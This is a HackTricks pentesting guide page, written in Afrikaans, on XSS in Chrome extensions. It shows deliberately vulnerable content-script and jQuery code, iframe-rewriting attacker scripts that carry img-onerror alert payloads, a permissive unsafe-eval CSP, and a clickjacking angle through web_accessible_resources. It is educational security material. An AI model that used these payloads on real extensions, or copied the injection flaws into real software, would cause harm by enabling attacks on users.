hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

7.3 KiB
Raw Blame History

BrowExt - XSS Voorbeeld

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Cross-Site Scripting (XSS) deur Iframe

In hierdie opstelling word 'n inhoudskrip geïmplementeer om 'n Iframe te instantiëer, wat 'n URL met navraagparameters as die bron van die Iframe insluit:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

'n Publiek toeganklike HTML-bladsy, message.html, is ontwerp om dinamies inhoud by die dokumentliggaam te voeg gebaseer op die parameters in die URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die content parameter van die Iframe se bron aanpas om 'n XSS payload in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

'n Oormatig toelaatbare Inhoudsekuriteitsbeleid soos:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

laat die uitvoering van JavaScript toe, wat die stelsel kwesbaar maak vir XSS-aanvalle.

'n Alternatiewe benadering om die XSS te provoceer, behels die skep van 'n Iframe-element en die instelling van sy bron om die skadelike skrip as die content parameter in te sluit:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-gebaseerde XSS + ClickJacking

Hierdie voorbeeld is geneem uit die oorspronklike pos skrywe.

Die kernprobleem ontstaan uit 'n DOM-gebaseerde Cross-site Scripting (XSS) kwesbaarheid geleë in /html/bookmarks.html. Die problematiese JavaScript, deel van bookmarks.js, word hieronder uiteengesit:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

This snippet fetches the value from the txtName input field and uses string concatenation to generate HTML, which is then appended to the DOM using jQuerys .append() function.

Tipies sou die Chrome uitbreiding se Inhoudsekuriteitsbeleid (CSP) sulke kwesbaarhede voorkom. egter, as gevolg van CSP verslapping met unsafe-eval en die gebruik van jQuery se DOM manipulasie metodes (wat globalEval() gebruik om skripte aan eval() oor te dra tydens DOM invoeging), is uitbuiting steeds moontlik.

Terwyl hierdie kwesbaarheid beduidend is, is die uitbuiting gewoonlik afhanklik van gebruikersinteraksie: die bladsy besoek, 'n XSS payload invoer, en die “Voeg by” knoppie aktiveer.

Om hierdie kwesbaarheid te verbeter, word 'n sekondêre clickjacking kwesbaarheid uitgebuit. Die Chrome uitbreiding se manifest toon 'n uitgebreide web_accessible_resources beleid:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notabel is die /html/bookmarks.html bladsy geneig tot framing, en dus kwesbaar vir clickjacking. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daardeur dat slagoffers onbewustelik met die onderliggende uitbreiding interaksie het.

Verwysings

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}